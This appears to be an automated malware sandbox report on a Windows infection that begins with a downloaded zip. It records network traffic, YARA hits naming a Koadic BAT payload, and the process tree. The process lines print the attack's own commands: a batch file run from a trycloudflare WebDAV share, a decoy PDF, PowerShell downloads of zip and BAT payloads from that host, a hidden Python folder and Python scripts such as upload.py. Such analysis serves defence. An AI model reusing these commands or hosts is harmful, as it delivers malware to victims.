Source: unknownNetwork traffic detected: HTTP traffic on port 49779 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49785
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49780
Source: unknownNetwork traffic detected: HTTP traffic on port 49727 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49785 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49762 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49701 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49776 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49713 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49736 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49759 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49779
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49778
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49777
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49776
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49775
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49774
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49773
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49772
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49771
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49770
Source: unknownNetwork traffic detected: HTTP traffic on port 49724 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49742 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49780 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49721 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49773 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49718 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49769
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49768
Source: unknownNetwork traffic detected: HTTP traffic on port 49756 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49766
Source: unknownNetwork traffic detected: HTTP traffic on port 49758 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49765
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49764
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49763
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49762
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49761
Source: unknownNetwork traffic detected: HTTP traffic on port 49678 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49760
Source: unknownNetwork traffic detected: HTTP traffic on port 49725 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49764 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49770 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49719 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49722 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49759
Source: unknownNetwork traffic detected: HTTP traffic on port 49778 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49758
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49757
Source: unknownNetwork traffic detected: HTTP traffic on port 49738 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49755 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49756
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49755
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49754
Source: unknownNetwork traffic detected: HTTP traffic on port 49673 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49730 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49750
Source: unknownNetwork traffic detected: HTTP traffic on port 49786 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49761 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49747 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49744 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49775 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49716 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49750 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49749
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49748
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49747
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49746
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49745
Source: unknownHTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknownHTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49710 version: TLS 1.2
Source: unknownHTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49711 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.16:49712 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.16:49713 version: TLS 1.2
Source: unknownHTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.16:49715 version: TLS 1.2
Source: unknownHTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.16:49715 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.16:49721 version: TLS 1.2
Source: unknownHTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.16:49722 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.16:49723 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.16:49730 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.16:49732 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.16:49735 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.16:49785 version: TLS 1.2

System Summary

barindex
Source: C:\Users\user\Downloads\startupppp.bat, type: DROPPEDMatched rule: Koadic post-exploitation framework BAT payload Author: ditekSHen
Source: C:\Users\user\Downloads\startupppp.bat, type: DROPPEDMatched rule: Koadic post-exploitation framework BAT payload Author: ditekSHen
Source: C:\Users\user\Downloads\startupppp.bat, type: DROPPEDMatched rule: Koadic post-exploitation framework BAT payload Author: ditekSHen
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Launcher\py.exeJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Python312\DLLs\unicodedata.pydJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Python312\DLLs\select.pydJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Python312\DLLs\libssl-3.dllJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Python312\DLLs\zlib1.dllJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Python312\DLLs\_ctypes.pydJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Python312\DLLs\tk86t.dllJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Python312\DLLs\libcrypto-3.dllJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Python312\DLLs\sqlite3.dllJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Launcher\pyw.exeJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Python312\DLLs\libffi-8.dllJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Python312\DLLs\pyexpat.pydJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Python312\DLLs\winsound.pydJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Launcher\pyshellext.amd64.dllJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Python312\DLLs\_bz2.pydJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Python312\DLLs\tcl86t.dllJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Python312\DLLs\_asyncio.pydJump to dropped file
Source: C:\Windows\System32\svchost.exeFile created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
Source: C:\Users\user\Downloads\startupppp.bat, type: DROPPEDMatched rule: MALWARE_BAT_KoadicBAT author = ditekSHen, description = Koadic post-exploitation framework BAT payload
Source: C:\Users\user\Downloads\startupppp.bat, type: DROPPEDMatched rule: MALWARE_BAT_KoadicBAT author = ditekSHen, description = Koadic post-exploitation framework BAT payload
Source: C:\Users\user\Downloads\startupppp.bat, type: DROPPEDMatched rule: MALWARE_BAT_KoadicBAT author = ditekSHen, description = Koadic post-exploitation framework BAT payload
Source: classification engineClassification label: mal80.spyw.evad.win@92/344@12/131
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\Downloads\2ba34896-e5ee-481c-aa5a-5613871795aa.tmp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l0qteqkk.fvi.ps1
Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\rundll32.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
Source: unknownProcess created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://starurileromaniei.ro/e_Statement89304.zip
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2196 --field-trial-handle=2000,i,571678873360885315,3539969036988688924,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknownProcess created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2196 --field-trial-handle=2000,i,571678873360885315,3539969036988688924,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: unknownProcess created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie verizon-tops-sports-gba.trycloudflare.com@SSL https://verizon-tops-sports-gba.trycloudflare.com/
Source: unknownProcess created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie verizon-tops-sports-gba.trycloudflare.com@SSL https://verizon-tops-sports-gba.trycloudflare.com/
Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://verizon-tops-sports-gba.trycloudflare.com/kbsfaw.pdf
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }"
Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=2004,i,17700825178854876530,18121355293118229329,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://verizon-tops-sports-gba.trycloudflare.com/kbsfaw.pdf
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }"
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=2004,i,17700825178854876530,18121355293118229329,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknownProcess created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie verizon-tops-sports-gba.trycloudflare.com@SSL https://verizon-tops-sports-gba.trycloudflare.com/
Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://verizon-tops-sports-gba.trycloudflare.com/kbsfaw.pdf
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }"
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2020 --field-trial-handle=1940,i,14827596700435585554,17066039086645689782,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\DXJS.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://verizon-tops-sports-gba.trycloudflare.com/kbsfaw.pdf
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\DXJS.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }"
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2020 --field-trial-handle=1940,i,14827596700435585554,17066039086645689782,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for extraction to finish (adjust timeout as needed)
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\attrib.exe attrib +h "C:\Users\user\Downloads\Python"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe money.py
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe moment.py
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe update.py
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe upload.py
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe time.py
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe kam.py
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe momentomo.py
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://verizon-tops-sports-gba.trycloudflare.com/kbsfaw.pdf
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/startupppp.bat' -OutFile 'C:\Users\user\Downloads\startupppp.bat' }"
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=1912,i,7060679006501850465,5674382277047701771,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/FTSP.zip' -OutFile 'C:\Users\user\Downloads\FTSP.zip' }"
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for extraction to finish (adjust timeout as needed)
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\attrib.exe attrib +h "C:\Users\user\Downloads\Python"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe money.py
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe moment.py
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe update.py
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe upload.py
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe time.py
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe kam.py
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe momentomo.py
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://verizon-tops-sports-gba.trycloudflare.com/kbsfaw.pdf
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/startupppp.bat' -OutFile 'C:\Users\user\Downloads\startupppp.bat' }"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/FTSP.zip' -OutFile 'C:\Users\user\Downloads\FTSP.zip' }"
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=1912,i,7060679006501850465,5674382277047701771,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknownProcess created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie verizon-tops-sports-gba.trycloudflare.com@SSL https://verizon-tops-sports-gba.trycloudflare.com/new.bat
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\DXJS.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }"
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\DXJS.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }"
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exeSection loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exeSection loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exeSection loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exeSection loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exeSection loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exeSection loaded: esent.dll
Source: C:\Windows\System32\svchost.exeSection loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exeSection loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exeSection loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dll
Source: C:\Windows\System32\svchost.exeSection loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dll
Source: C:\Windows\System32\svchost.exeSection loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exeSection loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exeSection loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exeSection loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exeSection loaded: upnp.dll
Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exeSection loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exeSection loaded: iertutil.dll
